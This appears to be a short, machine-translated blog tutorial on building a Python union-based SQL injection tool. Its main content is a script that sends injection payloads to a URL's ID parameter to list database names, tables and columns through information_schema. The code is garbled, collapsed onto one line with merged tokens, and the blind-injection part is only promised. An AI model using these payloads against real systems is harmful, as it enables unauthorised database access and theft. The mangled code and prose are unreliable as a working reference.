How to write a SQL injection tool

0x01 Preface

have been thinking about how to write an automated injection tool that doesn't have to be too complicated, but can get database information in the simplest and most straightforward way, bypassing protection based on a custom constructed payload.

0x02 SQL Injection Tool

A, Joint Inquiry

Union Select is the simplest implementation, the implementation of error injection is basically the same, the main idea: get all the database name-Select the database-to see all the tables under this database---Select Table-Query all column names under this table.

Code Details:

#! /usr/bin/Env python# _*_ coding:utf-8_*_import requestsimport urllibimport revalues={}defGet(url,values): Data=Urllib.urlencode (values) Geturl= url+'?'+Data Response= requests.Get(geturl) result=response.content find_list=re.findall (R"qwe~ (. +?) ~qwe", result)ifLen (find_list) >0:        returnfind_listdef get_database_name (URL): values['ID'] ="1 and 1=2 Union select 1,concat (0x7177657e,schema_name,0x7e717765) from INFORMATION_SCHEMA. Schemata"name_list=Get(url,values) Print'The databases:'     forIinchName_list:print i+" ", Print"\ n"def table_name (URL): database_name=raw_input ('Please input your database:') values['ID'] ="1 Union Select 1,concat (0x7177657e,table_name,0x7e717765) from Information_schema.tables where Table_schema="+"'"+database_name+"'"name_list=Get(url,values) Print'The table is:'     forIinchName_list:print i+" ", Print"\ n"def column_name (URL): table_name=raw_input ('Please input your table:') values['ID'] ="1 Union Select 1,concat (0x7177657e,column_name,0x7e717765) from Information_schema.columns where Table_name="+"'"+table_name+"'"name_list=Get(url,values) Print'The column is:'     forIinchName_list:print i+" ",if__name__ = ='__main__': URL='http://192.168.106.130/config/sql.php'get_database_name (URL) table_name (URL) column_name (URL )

Operating effect:

B. Blind note

Blind script, has been implemented in the hand, but the total sense of the code is simple, optimized and then sent out

0X03 to Be Continued

How to write a SQL injection tool